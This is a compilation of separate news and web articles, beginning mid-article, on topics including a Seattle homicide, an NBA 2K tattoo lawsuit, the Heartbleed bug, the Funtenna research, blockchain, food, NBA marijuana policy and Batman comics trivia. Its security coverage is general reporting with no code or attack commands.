to identify her.  Seattle Police Chief Kathleen O'Toole said that investigators don't believe there are any other suspects in the case.  Homicide detectives still searching for silver 2015 Toyota Highlander # AUW3230 (similar to pic). Call 911 if seen pic.twitter.com/i8fVnSNHQH — Seattle Police Dept. (@SeattlePD) April 12, 2016  Investigators also located Lyne's silver 2015 Toyota Highlander SUV, which had been reported stolen along with her disappearance. A statement said the vehicle had been found in downtown Seattle, but did not elaborate further.  Investigators determined the remains, which were packaged in plastic bags, had been placed in the bin late Friday or early Saturday. A police spokesman said the bin would have been empty because recyclables were collected on the block on Fridays.  "The purse, the telephone and everything was in [her] house," Lyne's neighbor Edward Franceschina told Q13 Fox.  Franceschina told the Seattle Times that detectives had converged on the quiet middle-class neighborhood about 11 miles southeast of downtown with a mobile crime lab early Sunday morning.  "I saw them doing their thing,” he said. “They came out with boxes and were here a couple of hours. I finally went to bed at 3 a.m. when they left."  Seattle's Swedish Medical Center confirmed Lyne was an employee. Her children reportedly are staying with a family friend.  Click for more from The Seattle Times.  Click for more from Q13 Fox.  The Associated Press contributed to this report.
-Take-Two is taking its best shot at escaping a multi-million dollar lawsuit for depicting the tattoos of NBA superstars like LeBron James, Eric Bledsoe and Kenyon Martin in its NBA 2K video game franchise. On Wednesday, the publisher submitted a motion for judgment on the pleadings and argued that it has every right to showcase players as they appear in real life. The motion sets up a first-of-its-kind ruling from a New York federal judge, and Take-Two is warning of the stakes.  "In essence, Solid Oak argues that these public figures must seek its permission every time they appear in public, film or photographs and that those that create new works depicting the players as they actually appear (with their Tattoos) should be enjoined and pay damages to Solid Oak," writes Take-Two attorney Dale Cendali. "Yet, no case has interpreted copyright law as providing such a right, and doing so here would inhibit copyright’s purpose of encouraging the creation of new works. This is particularly troubling at a time when tattoos are becoming increasingly popular."  Solid Oak is the plaintiff in the case filed back in February 2016 after acquiring rights from various tattoo artists. The company, derided as an "opportunist" by Take-Two, argues that tattoo designs "easily satisfy" a standard for originality and are fixed in a tangible medium (the skin of humans).  At the moment, the copyright-ability of tattoos isn't the subject of debate.  Instead, Solid Oak and Take-Two have agreed to first put before the judge the defendant's question of whether the video game publisher's use of tattoos is either de minimis or fair use.  Take-Two's de minimis argument is rather straightforward.  "The Tattoos rarely appear in NBA 2K as they only are displayed when the players on whom they are inked are selected from the over 400 other NBA players that are available," states Take-Two's memorandum. "Even when the Tattoos appear, they are not prominent as the game camera generally uses a full-court shot with the players’ avatars appearing as small images, and the Tattoos thus appearing even smaller than they would in real life. This makes the Tattoos difficult (if not impossible) to see even when the players appear in the game."  The argument will only be a winning one if U.S. District Judge Laura Taylor Swain agrees that the qualitative or quantitative significance in the video game is what matters. Perhaps an example of the coming counter-argument comes from a decision four years ago in a case over sampling on the Beastie Boys' album, Paul's Boutique. There, a New York judge ruled that whether listeners could detect samples was irrelevant as what really mattered was the portion taken of the original. (The Beastie Boys eventually won the case anyway.)  Alternatively, Take-Two urges the judge to declare it has engaged in fair use.  The defendant goes through the four factors. For the purpose and character of the use, Cendali argues that while the tattoos were originally created to serve the NBA players' self-expression, Take-Two is using them for authenticity. To the nature of the copyrighted work, she argues that any creativity must be weighed against the fact that tattoos were copied to depict real-world subject matter realistically. Factor three measures the amount and substantiality of the portion used, and here, Cendali echoes some of the points over de minimis.  What arguably separates this case from other potential ones, possibly limiting any precedent if the judge chooses to focus on it, is the fourth factor that examines the effect of the use upon the potential market.  "Solid Oak’s license agreements with the tattooists expressly disclaim 'the right to tattoo a permanent tattoo rendering onto a person’s skin,'" states the brief. "Moreover, Solid Oak has admitted that it has never licensed to any party 'the ability to ink the Tattoos on other people.' Thus, it has no rights in or to the original market for the Tattoos (i.e., inking them on people)."  Anticipating a rebuttal over a licensing market for these tattoos, Take-Two's summary judgment motion warns the judge not to heed the theoretical and adds that Solid Oak has admitted to not obtaining the publicity or trademark rights "necessary" to depict the Tattoos on merchandise.  "Solid Oak’s lack of licenses in these overlapping intellectual property rights prevents Solid Oak from commercializing the Tattoos," states the brief.  It's an interesting argument, but also an odd one given that Take-Two itself has fought cases — like a battle with actress Lindsay Lohan — over whether publicity rights are really necessary. Other video game companies like Electronic Arts over Madden NFL have too and presumably lack such rights. Perhaps it's the word "merchandise" that leaves Take-Two some room to make some creative and commercial distinction. Nevertheless, Solid Oak appears to have eyes on licensing in the creative market.  Take-Two ends its brief with a few words that showcase why others might wish to pay attention here.  "If Take-Two’s motion is denied, Solid Oak will be able to use that decision to shakedown each of the publications and television programs in which those players have appeared, as well as any other video game publisher that depicts the Tattoos," states the brief (read in full here). "It would be illogical to allow Solid Oak to seek rents each time that a player bearing one of its tattoos commercializes his likeness, or worse, appears in public, and therefore arguably 'publicly displays' the Tattoos under copyright law. We know of no case reaching such a result. Doing so here would set a bad precedent affecting all bearers of tattoos and the companies that creatively depict them."  Solid Oak's response will be filed in court soon.
-Major security alert over ‘heartbleed’ eavesdropping bug that could have infected TWO THIRDS of sites  Experts urged server owners to upgrade to latest version of OpenSSL software  Flaw allows hackers to eavesdrop on communications and steal encryption keys  Believed over 66% of web sites could be affected - and experts say all web users will be at risk in some way  Servers believed to be affected include those run by Twitter, Yahoo and Tumblr  A major online security alert has been issued after experts found a bug in one of the web's most common security systems.  Called the 'heartbleed' bug, it allows hackers to eavesdrop on supposedly secure communications.  The vulnerability was found by Google researchers in the OpenSSL cryptographic library, which is believed to be used in some way by roughly two-thirds of all websites on the Internet and is part of the most common server software in use.  The code was added on New Year's Eve in 2011 and no-one spotted the mistake until earlier this month. Experts say the bug could leave up to 66% of sites vulnerable to hackers if their encryption software is not updated. It compromises secret keys used to encrypt web traffic  WHAT IS OPENSSL? OpenSSL is open-source software that is widely used to encrypt web communications. It is used to protect websites, instant messaging, email servers, virtual private networks and other communications. It is used in two of the most widely used Web servers, Apache and nginx.  It is claimed heartbleed can reveal the contents of a server's memory, where the most sensitive of data is stored, including private data such as usernames, passwords, and credit card numbers.  The flaw also allows an attacker can get copies of a server's digital keys, which can be used to impersonate servers or to decrypt communications from the past or potentially the future, too.  The flaw was introduced in OpenSSL in December 2011, and was been 'in the wild' until yesterday, when a new version fixing the flaw was released.  Experts have confirmed the flaw is real.  'We were able to scrape a Yahoo username & password via the Heartbleed bug,' tweeted Ronald Prins of security firm Fox-IT, showing a censored example.  Developer Scott Galloway, 'Ok, ran my heartbleed script for 5 minutes, now have a list of 200 usernames and passwords for yahoo mail...TRIVIAL!'  The problem was uncovered by a team of researchers from Google Security and Codenomicon.  Research by analytics firm Netcraft says almost 500,000 websites could be affected.  'The serious overrun vulnerability in the OpenSSL cryptographic library affects around 17% of SSL web servers,' it says.  Its research found Twitter, GitHub, Yahoo, Tumblr, Steam, Flickr, HypoVereinsbank, PostFinance, Regents Bank, Commonwealth Bank of Australia, and the anonymous search engine DuckDuckGo are all affected.  The bug means hackers can eavesdrop and leave no trace in server logs. The flaw was introduced in OpenSSL in December 2011, and was 'in the wild' until Monday, when a new version fixing the flaw was released  Researchers have even given the bug its own logo  'The heartbleed bug allows anyone on the internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software,' according to a website the researchers who found the flaw set up to explain their find.  'This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content.  'This allows attackers to eavesdrop communications, steal data directly from the services and users and to impersonate services and users.'  The vulnerability has been dubbed the Heartbleed Bug because it was discovered 'in the OpenSSL's implementation of the TLS/DTLS (transport layer security protocols) heartbeat extension (RFC6520),' the team said.  'This bug has left large amount of private keys and other secrets exposed to the Internet," they warned.  'Considering the long exposure, ease of exploitation and attacks leaving no trace this exposure should be taken seriously.'  HOW DANGEROUS IS IT? The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software.  This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content.  This allows attackers to eavesdrop on communications, steal data directly from the services and users and to impersonate services and users.  Daniel Foster of hosting firm 34SP.com warned firms with eCommerce capabilities to be extra cautious.  'With potentially all web users affected by the recent ‘heartbleed’ security bug that has hit OpenSSL software, which is the software that protects credit card transactions - it is important that eCommerce businesses contact their web hosting providers to check that they have taken necessary actions to avoid their customers being affected by spying and eavesdropping,' he said.
-If you love spending money every month on going to the gym, this product is not for you. If however, you’re like us and want to get killer abs, a toned butt and svelte legs, but prefer being in your living room and watching your TV (as opposed to at a crowded gym) and would rather drop cash on something besides an overpriced membership, this product is most definitely for you.  Get push notifications with news, features and more.  The elliptical (order it by clicking on the product image below the video or going here) goes for $139, but if you enter our exclusive discount code (PEOPLE10), you can get it for 10% off (on orders $50 or more) — and it’s shipped free.  It weighs just 24 pounds and is 24 by 18 inches so it’s easy to move around, plus it’s quiet, features adjustable tension controls to change the resistance, foot pedals that go forward or in reverse to target different muscle groups and a monitor to track your calories and distance. Basically, you’re getting everything those mega-ellipticals have, only you don’t have to spend over a grand to get it.  A handful of PEOPLE.com editors already have the elliptical and while each uses it while watching a different show, they all love it for the same reason: One moment you’re stepping on the machine, then the next, you realize Scandal (or House of Cards or Real Housewives) is over and you’ve been working out for a full hour.  –Zoë Ruderman
-Image copyright Angélica Gonzalez Image caption The plants, pictured here by co-worker Angélica Gonzalez, underpin a whole ecosystem  It is hard to imagine you could reconstruct a record of fog dating back thousands of years, but this is exactly what Chilean scientists have done.  The low-lying cloud is seemingly so transient and intangible, and unlike rivers and glaciers it leaves no easy-to-read impressions on the landscape.  And yet, a Santiago team has been able to trace the fog history of the Atacama Desert by studying Tillandsia plants.  Their chemistry suggests strongly that this local fog has increased over time.  It is a period covering the last 3,500 years.  "I don't think there's any other place in the world where I've actually seen a record of fog, even spanning the last hundred years," said Claudio Latorre Hidalgo from the Catholic University of Chile.  "What little we know about fog is from measurement instrumental data that we have, and from satellite data that only spans the last 20 years.  "So, this is actually a unique opportunity to study the evolution of a fog ecosystem over the Late Holocene, and what are the major drivers and controls of the mechanisms that produce that fog in the long term - the very long term."  The palaeoclimate expert was discussing his team's research here at the Fall Meeting of the American Geophysical Union - the world's largest annual gathering of Earth scientists.  Media playback is unsupported on your device Media caption Claudio Latorre Hidalgo: "The fog is the plants’ only source of water and nutrients"  The Atacama is famous for its super-arid conditions; there are places where it has not rained for years.  But life can eke out an existence if it can exploit the fog that rolls in off the Pacific. Tillandsia are a perfectly adapted opportunist.  These wiry, grey plants have no roots. They clutch weakly at sand dunes, but arrange themselves at every spatial scale to maximise their capture of the fog.  They derive everything they need from the damp air - not simply the must-have water, but also all the chemical nutrients required to underpin their biology.  Dr Latorre Hidalgo and colleagues have dug deep into the dunes to uncover a multi-millennia succession of Tillandsia; and they have described a pronounced trend: the younger the plants, the more of the lighter type, or isotope, of nitrogen atom that they have incorporated into their tissues.  Image copyright Claudio Latorre Hidalgo Image caption The structure of Tillandsia maximises fog capture – by growing in a mesh (Top-R) and using appendages on the leaves called trichomes (Bottom-R) to corral the water  Analysis of modern fog suggests this lighter nitrogen is favoured, and so the observed trend in the Tillandsia would strongly indicate the fogs of the Atacama have increased over time… with some complications.  "How the nitrogen gets into the fog is a much more complex question," said Dr Latorre Hidalgo.  "I suspect a lot of that nitrogen is of marine origin. There is a huge oxygen-minimum zone off the coast of northern Chile, where there is a lot of denitrification going on.  "So, there is a lot of molecular nitrogen going into the air and a lot of nitrous oxide as well.  "We know there is both ammonia and nitrate in the fog. So, you get both organic and inorganic forms of nitrogen."  Oxygen-minimum zones are mid-water regions in the ocean that are extremely low in oxygen abundance, in part because marine organisms are removing it very fast and also because the waters that move into the zone fail to replenish the oxygen as they themselves are depleted. This is usually cold, upwelling water. And, again, this fits the overall picture because cold coastal waters will produce more fog.  "Our monthly fog collector data shows there is a significant trend with the coastal sea-surface temperatures and the fog. So, when you get El Niño events (and local surface waters warm), this warm water dissipates the thermal inversion that's holding in the low-lying cloud and this dissipates the fog.  "We think that over the last three thousand years, the coastal waters have gotten much colder, much more productive and that's releasing nitrogen from this oxygen-minimum zone to fertilise the plants."  And it is more than just the Tillandsia that are benefiting.  The plants' success in trapping and using fog anchors a whole ecosystem that supports creatures as diverse as beetles, scorpions, spiders and even lizards.  Image copyright Claudio Latorre Hidalgo Image caption The team has dug down through the dunes to find and analyse the ancient plants  Jonathan.Amos-INTERNET@bbc.co.uk and follow me on Twitter: @BBCAmos
-What if the same was possible to hack computers to steal data using Sound waves?  Imagine, If a remote hacker could steal classified information from a targeted computer without having to physically and Internet access to it.  A team of security researchers has demonstrated exactly the same by developing a new hacking technique called Funtenna that uses sound and radio waves to siphon data from computers even without Internet access.  Ang Cui of Red Balloon Security, the Funtenna radio signal hack has the potential to turn Internet-connected devices (printer, washing machine and air conditioner) – popularly known as the Internet of Things – into bugs that can transmit data out of a network using sound waves that can not be heard by a human ear. According to a lead researcherof Red Balloon Security, the Funtenna radio signal hack has the potential to turn Internet-connected devices (printer, washing machine and air conditioner) – popularly known as the– into bugs that can transmit data out of a network using sound waves that can not be heard by a human ear.  How Funtenna Works?  The attacker only needs to install malware on a target's device such as a printer, office phone, or a computer.  The malware overtakes the control of the electronic circuit of the device (general-purpose input/output circuits) and vibrates them at a frequency (which transmits radio signal) of the attacker's preference.  An attacker then can pick up these signals using an AM radio antenna (Funtenna) from a short distance away.  "You have network detection, firewalls… but this transmits data in a way that none of those things are monitoring, this fundamentally challenges how certain we can be of our network security," said Cui.  Here, the hacked devices are themselves acting as transmitters. Therefore, the new Funtenna technique bypasses all conventional network security methodologies.  You can also watch a video demonstration of how Funtenna works below:  Funtenna is actually using a technique known as "Hardware Agnostic," which is generally available to operate with all modern computer systems and embedded devices.  The team showcased its new technique in action at the Black Hat security summit in Las Vegas on Wednesday. It will also release a "proof-of-concept" code for researchers and hackers.
-SAFETY FIRST: Ask an adult to help with tools you haven't used before.  With a tin can and paper clips, make a mini disc-golf basket. To play, toss bottle caps into the basket to score points!  WHAT YOU’LL NEED  28- to 32-ounce tin can  Can opener  Ruler  Fine-tipped marker  Tin snips  Work gloves  Drill  1⁄4″ and 1⁄16″ metal drill bits  1⁄4″ x 6″ carriage bolt  Three 1⁄4″ nuts  Adjustable wrench or pair of pliers  Utility knife  Screw-on plastic bottle cap  60 paper clips  About 12″ of small rubber tubing  Several metal bottle caps  WHAT YOU’LL DO  1. Put on your gloves and remove the lid of the can, cutting it from the side so there are no sharp edges. Empty and clean the can.  2. Measure 2″ from the bottom of the can. Draw a line around the can. Use the tin snips to cut off the bottom.  3. Drill a 1⁄4″ hole in the center of both the bottom and the lid. Drill another 1⁄4″ hole in the center of the plastic bottle cap.  Figure: 1/4″ holes drilled in the center of the bottle cap, lid and can bottom.  4. Drill 12 1⁄16″ holes around the outer edge of the lid.  Figure: 12 1/16″ holes evenly spaced and drilled into lid.  5. Push the carriage bolt up through the bottom.  Figure: Side view of inserted bolt.  6. Slide the plastic bottle cap down the carriage bolt. Screw the first nut down until it is snug against the top of the plastic bottle cap.  Figure: Side view of nut tightened on top of bottle cap.  7. Make a strand of paper clips by connecting five. Make 12 strands. Bend one paper clip into a circle that fits loosely around the carriage bolt. Attach all twelve strands to the circle.  Figure: 12 strands of five paper clips attached to the paper-clip circle.  8. Slide the circle down the carriage bolt until it rests on the plastic bottle cap.  9. Screw the second nut onto the carriage bolt until it is about 1⁄2″ down the bolt. Place the lid on the carriage bolt. Screw the third nut onto the bolt until it is flush with the top of the bolt. Screw the second nut against the bottom of the lid.  10. Connect the paper clips to the holes in the lid.  11. Cut the rubber tubing with the utility knife so you can fit it onto the top edge of the can bottom. Your bottle-cap toss game is complete!  HOW TO PLAY DISC-GOLF  Disc Golf (sometimes called Frolf or frisbee golf) is game in which individual players throw a flying disc at a goal. Like traditional golf, the object of Disc Golf is to complete a course in the fewest number of disc throws.  More about Disc Golf from the Professional Disc Golf Association
-A group of top tech and finance companies including IBM, Wells Fargo and the London Stock Exchange Group, are joining forces to develop a new open source blockchain separated from the Bitcoin blockchain, Bloomberg Business reports.  The group will work with the Linux Foundation to create a public network that lets blockchain applications built on top of it communicate with each other. The open-source software will enable others to transform the way business transactions are conducted, according to a statement released by the Linux Foundation. The statement, not yet available in the open at the time of writing, has been shared on the Pastebin social sharing site.  The group also includes Accenture, ANZ Bank, Cisco, CLS, Credits, Deutsche Börse, Digital Asset Holdings, DTCC, Fujitsu, IC3, Intel, J.P. Morgan, Mitsubishi UFJ Financial Group (MFUG), R3, State Street, SWIFT, VMware.  “Distributed ledgers are poised to transform a wide range of industries from banking and shipping to the Internet of Things, among others,” said Jim Zemlin, executive director at The Linux Foundation. “As with any early-stage, highly-complex technology that demonstrates the ability to change the way we live our lives and conduct business, blockchain demands a cross-industry, open source collaboration to advance the technology for all.”  Digital Asset Holdings is contributing the Hyperledger mark, which will be used as the project name, as well as enterprise grade code and developer resources. Digital Asset Holdings bought San Francisco-based Hyperledger in June. The hyperledger.com URL now redirects to blockchain.linuxfoundation.org.  “The blockchain for business is ready in 2016,” states the brand new website. “Linux Foundation has united industry leaders to advance blockchain technology with a new open ledger project to transform the way business transactions are conducted around the world.”  “We are delighted that The Linux Foundation is providing a broadly-supported vehicle through which we can contribute the Hyperledger brand and enterprise grade blockchain solutions to the open source community,” said financial superstar Blythe Masters, CEO of Digital Asset Holdings. “The resulting impetus will benefit our clients and the entire global financial services industry who are seeking to build business applications on a trusted foundation."  IBM intends to contribute tens of thousands of lines of its existing codebase and its corresponding intellectual property to the open source project. R3 intends to contribute a new financial transaction architectural framework designed to specifically meet the requirements of its global bank members and other financial institutions. “These technical contributions, among others from a variety of companies, will be reviewed in detail in the weeks ahead by the formation and Technical Steering Committees,” notes the statement.  "Deutsche Börse group sees great potential in blockchain technology, and is delighted to join this initiative,” said Jeffrey Tessler, a member of the executive board of Deutsche Börse AG. “As a market infrastructure covering the entire value chain, we believe that the true value of the blockchain will only materialise as part of industry initiatives such as Hyperledger project.”  It seems plausible that the global payments innovation initiative recently announced by the Society for Worldwide Interbank Financial Telecommunication (SWIFT) could be related to the Hyperledger project.  “The current blockchain is a great design pattern,” said IBM Vice President Jerry Cuomo, CTO of IBM’s software group, as reported by Wired. “Now, how do we make that real for business? What are the key attributes needed to make that happen? That’s what this organization is about.”  Cuomo added that the group intends to create something that is like the blockchain but separate. “We are very excited about blockchain, less as a once-and-only-once implementation of an idea, but as an idea that can be implemented and extended in ways that are consistent but enhanced,” he said. Wired notes that, by backing a new project separated from the Bitcoin blockchain, the group can exert more control over blockchain technology.
-High-end, "fusion" Chinese food gets a bad rap around town. It makes sense. Angelenos can get the real thing for half of the price point -- just trek on over to the San Gabriel Valley for proof. There's a repertoire of high quality dishes there: tea-smoked duck that takes a grand seven days to make and finely pressed noodles soaked in a dark, earthy beef broth.  These traditional dishes are great, but there are a handful of innovators out there rolling out unique riffs on traditional Chinese food items, and their wares are both respectable and overlooked.  Here are our five favorite picks that can't be found at your typical mom-and-pop Chinese eatery:  Sweet Flatbread with Vanilla Ice Cream from Pingtung Eat-In Market ($4.95)  Pingtung is an Asian fusion joint on Melrose sporting dim sum, Taiwanese plates, and Japanese specials like sushi rolls and tonkotsu ramen. Skip straight to their dessert menu and order the sweet flatbread. The bread is essentially a laobing (ç??é¤?) -- rolled and layered unleavened bread that is fried to a crisp, and normally a savory dish. Pingtung tops theirs off with a generous scoop of vanilla ice cream and a sprig of mint. Order to share.  Crab and Uni Yang Chau Xiao-long Bao from Chi Lin ($15)  The price on this dish will undoubtedly leave a dent in your pocket, but if there's a xiaolongbao that screams fine dining -- this is it. The bao is stuffed with crab and pork meat and topped with uni mousse, of all expensive things, and finely sliced pieces of ginger. On the side is a pink ginger vinaigrette in a pipette. No this isn't a lab experiment, but the eating process is admittedly a five-step process. How to eat this gem: Plop it on your spoon, top it off with a couple drops of pink vinegar, bite off a piece of the skin, suck the soup out, and enjoy the rest. The soup has a mild hint of sweetness to it, which is always an indicator of a xiaolongbao done right.  Minced Lamb with Pickled Mustard Green Shao-Bing from Chi Lin ($17)  Shaobings (ç??é¤?) served Taiwanese-style are traditionally large, baked flatbreads decorated with sesame and stuffed with thinly sliced flank steak, cilantro, and julienned scallions. It's the Chinese equivalent of a breakfast sandwich. In his version, Taiwanese chef Yujean Kang transforms this item into miniature hot pockets without compromising the classic crisp texture. It's not sandwich anymore -- it's a pocket and you stuff them yourself with Northern wok-fired minced lamb, garlic, and pickled mustard greens. Add chili sauce for an extra kick.  Alcoholic Boba from Boba 7 ($8)  Boba are dark, chewy tapioca balls used in tea-based drinks. It's a Taiwanese-born concoction with infinite amount of variations and flavorings, but few places spike it with liquor. Entrepreneur Elton Keung is making a niche for himself by doing just that. His bar is called Boba 7, a hidden "speakseasy" located in the back of Thai restaurant Soi 7 in downtown Los Angeles. The drink in question is the Bobagasm. It's similar to the Screaming Orgasm (a.k.a the White Russian) but there's a twist. The difference? Soju and boba. The Bobagasm is one of Boba 7's specialty drinks. It's topped with Kahlua and Irish cream-flavored milk, with brown sugar and honey boba on the bottom. You drink it with a boba straw and no, take-out orders are not allowed.  Sea Urchin Buns from The Bazaar ($13)  A list of unconventional dishes in Los Angeles wouldn't be complete without a mention of at least one of Bazaar's quirky offerings. These miniature buns are a modern and seafood-centric take on the gua bao (å?®å??). Gua baos are traditionally stuffed with fatty slices of pork, pickled vegetables, and cilantro. The Bazaar instead adds fresh uni and creamy slices of avocado. One bite into this fantastically creamy sandwich and you'll taste the subtle heat of the chili complemented with a slight hint of ginger.  Aforementioned Restaurants:  Pingtung Eat-In Market  Chi Lin  Boba 7  The Bazaar  Want recipes and food news emailed directly to you? Sign up for the new Food newsletter here!  View Unique Chinese Food in a larger map  More Chinese Food:  Asian-Inspired Pastries at Oh My Pan Bakery and Tea  Beyond Fiery Spices at Chengdu Taste  Small-Batch Chinese Noodles In L.A., Available Only A Few Hours A Day  4 Ways to Enjoy Stinky Tofu in Los Angeles  Where To Get Faux Shark Fin in Los Angeles  Roasted Ducks And Cantonese BBQ At Sam Woo  Restaurateur George Yu Talks Cantonese Food and Sleep Deprivation
-Phil Jackson and Steve Kerr have more in common than the 1990s Chicago Bulls. (AP)  The legal use of marijuana, whether it be medicinally or recreationally, is gaining steam in the NBA.  First, Golden State Warriors coach Steve Kerr admitted last week to using legally prescribed marijuana during his recovery from a 2015 back surgery, questioning how a league could encourage prescription painkiller use for players healing from injury while listing marijuana among its banned substances.  Scroll to continue with content Ad  Now, New York Knicks president Phil Jackson has followed Kerr’s admission with tales of recreational marijuana use during his own recovery from back surgery as a player in 1969, suggesting the recent legalization of cannabis in several states will force the NBA to address a rule now in conflict with law.  [Follow Ball Don’t Lie on social media: Twitter | Instagram | Facebook | Tumblr]  In an appearance on CBS Sports Network’s “We Need to Talk” on Tuesday, during which he touched on several subjects, including a non-apology for his controversial “posse” remarks on LeBron James, Jackson was asked about Kerr’s recent comments on marijuana. This was his response, in its entirety:  Story continues  “I don’t know about its medicinal ability. I know that when I had back surgery, the year I was off I was smoking marijuana during that period of time. I think it was a distraction for me as much as a pain reliever, but I never thought of it as ultimately a pain medication for that type of situation. I know for ocular things, stomach digestive issues and other things I think it is regarded quite highly. “We’re in a situation that’s in flux. We have states — Washington, D.C., Colorado — that have legalized marijuana. Those are going to raise issues. We also have a testing regiment that we go through in the NBA, so we’re kind of in conflict with what is going to be the law. I see that as a decision that’s — I don’t know if we can equate it to gay marriage or whatever else — but it’s a decision that’s going to be made by our population at some point. They’re going to come out and make that decision for us, I think, instead of legislators trying to make the decision. “I think we’ve tried to stop it in the NBA. I don’t think we’ve been able to stop it. I think it still goes on and is still a part of their culture in the NBA, and I think it’s something we either have to accommodate or we have to figure out another way to deal with it.”  As others have noted, Jackson already discussed his 1960s and ’70s marijuana and LSD use in both his 1975 autobiography, “Maverick,” and 2001 biography, “Mindgames: Phil Jackson’s Long Strange Journey,” weighing perceived mind-altering benefits of such substances against the inherent dangers.  Phil Jackson admitted to using marijuana while recovering from injury as a player in 1969. (Getty Images)  Jackson did not elaborate on any potential personal marijuana use after the 1969-70 season, when he missed the entirety of New York’s championship campaign following spinal fusion surgery, but he did suggest marijuana was still prevalent among today’s players. In 1997, when Jackson and Kerr’s Chicago Bulls were in the midst of winning six titles, The New York Times famously reported roughly 60-70 percent of the league smoked marijuana, and that number may be higher now, if Jay Williams’ 75-80 percent estimate this past May is accurate. In other words, marijuana is not a new issue for the NBA.  [Sign up for Yahoo Fantasy Basketball | Mock Draft | The Vertical | Latest news]  According to the 2011 collective bargaining agreement between the NBA and its players’ association, all players are subject to as many as six tests per year, randomly scheduled by a third-party entity — four during the season from October 1 to June 30 and two more in the offseason months between.  Players cannot be suspended until a third violation of the marijuana policy, which includes court convictions for use or possession in addition to positive tests, at which point they face a five-game ban (10 for a fourth violation, 15 for a fifth, etc.). The NBA’s enforcement of its policy is widely considered lax, and Adam Silver suggested as much in an interview with GQ in 2014, when Chuck Klosterman asked the commissioner if Colorado’s legalization of pot would force the NBA to adjust:  “It doesn’t force us to change our policy. Plenty of employers have rules against employees drinking, which is perfectly legal. This is a policy matter, and it’s our strong preference that our players do not consume marijuana. We believe it will affect their performance on the court. That said, marijuana testing is something that’s collectively bargained with the players’ association, and we adjust to the times. But we’re much more concerned about HGH testing and designer performance-enhancing drugs. Among our many priorities going forward, marijuana is not at the top of our list.”  Still, two players have been slapped with drug suspensions as a result of marijuana use in the past three seasons, Oklahoma City Thunder forward Mitch McGary and Milwaukee Bucks big man Larry Sanders, both of whom are no longer in the league, and they offer interesting case studies in the debate over policy vs. productivity. Would Sanders, a rising star, still be in the league if he were allowed to use marijuana? And would McGary, a relative bust, still be in the league if he never used marijuana? The answers to those questions could shape the NBA’s marijuana policy moving forward.  However, the league did not expect in mid-November to drastically alter its policy in the forthcoming 2016 CBA, according to The Ringer’s Kevin O’Connor. This despite eight teams (Boston Celtics, Denver Nuggets, Golden State Warriors, Los Angeles Lakers and Clippers, Portland Trail Blazers, Sacramento Kings, Washington Wizards) playing in cities with legalized recreational marijuana and an additional 12 (Brooklyn Nets, Chicago Bulls, Cleveland Cavaliers, Detroit Pistons, Miami Heat, Minnesota Timberwolves, New Orleans Pelicans, New York Knicks, Orlando Magic, Philadelphia 76ers, Phoenix Suns, Toronto Raptors) in states with legalized medical marijuana. That’s two-thirds of the NBA.  With Kerr and Jackson now publicly addressing the subject, you wonder if both the NBA and its players’ association will take another look at it before the CBA’s expected final approval later this month. After all, if Kerr can admit to consuming edible marijuana in the same season he won NBA Coach of the Year honors, without repercussion from the league, it does seem hypocritical to hold players to a higher standard — to say nothing of a team doctor allegedly prescribing painkillers as an alternative to marijuana for a player who ultimately left the league over mental health issues.  [Join a Yahoo Daily Fantasy Basketball contest now | Free NBA Yahoo Cup entry]  None of this is to say abolition of the marijuana policy is a universally held belief among NBA players and coaches. Between Kerr and Jackson raising the issue over the past week, Suns head coach Earl Watson and Houston Rockets player development coach John Lucas expressed their concerns about such a policy change, specifically for the message it might send to still-developing youth athletes.  Those worries should also hold weight in the NBA conversation, even if Watson and Lucas do not have the championship resumes of Kerr and Jackson. We can debate the merits of arguments for or against marijuana — its addictiveness, effect on the brain, reputation as a gateway drug and relatively mild influence in relation to NBA-legal alcohol and prescription drugs, among other sources of contention — but the point here is that this debate has become increasingly difficult for the league to ignore.  Jackson suggested there was a tipping point for the NBA once enough of the population voted in favor of legalized marijuana, and you have to wonder — now that two-thirds of the league’s teams play in cities that have passed some form of it into law and an estimated three-quarters of its players use the substance — whether we’ve surpassed that tipping point. Maybe they should put it up for a vote.  – – – – – – –  Ben Rohrbach is a contributor for Ball Don’t Lie and Shutdown Corner on Yahoo Sports. Have a tip? Email him at rohrbach_ben@yahoo.com or follow him on Twitter!
-Dick Grayson (Nightwing/the first Robin) is also highly prepared. In the first volume of the threepart series Trinity a villain by the name of Swashbuckler steals Nightwing's mask. Which Grayson promptly has destroyed via an explosive charge set for voice activation. The command phrase was only "Autodestruct."  Batman has attempted to be prepared in case of the inevitable superhero Face–Heel Turn, most notably in two infamous incidents. In Justice League of America: Tower of Babel, it was mainly confined to the League. The second was shortly after Identity Crisis where Batman decided to secretly tab every superhero/metahuman on Earth he could, so he built the Brother Eye program to monitor them. Both blew up in his face horribly (Ra's found and used the files and Brother Eye was hijacked by Max Lord and, later, Alexander Luthor). That being said, while they did indeed blow up in his face, they did so by incapacitating every member of the League, who all needed to be saved by the backup plans to THE BACKUP PLANS! Yes, indeed; Batman is so prepared, he even prepared for his contingency plans to get stolen.  Tim Drake, Robin III, is similarly prepared. In his own comic, while fighting another vigilante, they fall through the roof into a bowling alley, with Tim landing on an enormous display bowling ball. He stands up, and uses his feet to start rolling it toward his opponent, thinking, "Believe it or not, I actually trained for this. I told Bruce it was stupid at the time. We'll have a good laugh when I get back home."  Tim defeated Lady Shiva. Lady Shiva who's the best Assassin in the world, and (aside from Bronze Tiger and Richard Dragon) probably the best martial artist in the world. You wanna know how? He had poisoned some complimentary chocolates from the hotel she was staying at, before she wrote the letter challenging him. The poison was a paralytic triggered by an increased heart rate. Like in a fight. Against Robin.  In one issue of Young Justice, the new team goes on a camping trip to get to know each other better. Around the campfire they start a game of "truth or dare," and Superboy promptly dares Robin to remove his domino mask. He does... revealing another domino mask underneath. He admits that he had put the extra mask on before they left, figuring that this game would come up. Arrowette: You were toilet trained at six months, weren't you...  In an issue of Red Robin Tim is able to drop himself Stephanie and Prudence into the hidden basement of one of his safe houses right before it's blown up by the League of Assassins because he's already installed his own explosives under the floor in sets designed to drop out a circle of the floor without blowing up whoever was standing on it.  In an issue of The Batman Adventures, a criminal "artist" named Kim escapes from Arkham and begins leaving clues at crime scenes in a manner reminiscent of the Riddler. Riddler is furious that someone is stealing his gimmick and tracks Kim down himself. As they fight, Riddler asks what all the "clues" were supposed to mean. Kim reveals that they were actually references to an art film by a foreign director, and he was merely making an artistic statement. Riddler rants about how that is completely pointless, as nobody will ever understand such a reference, 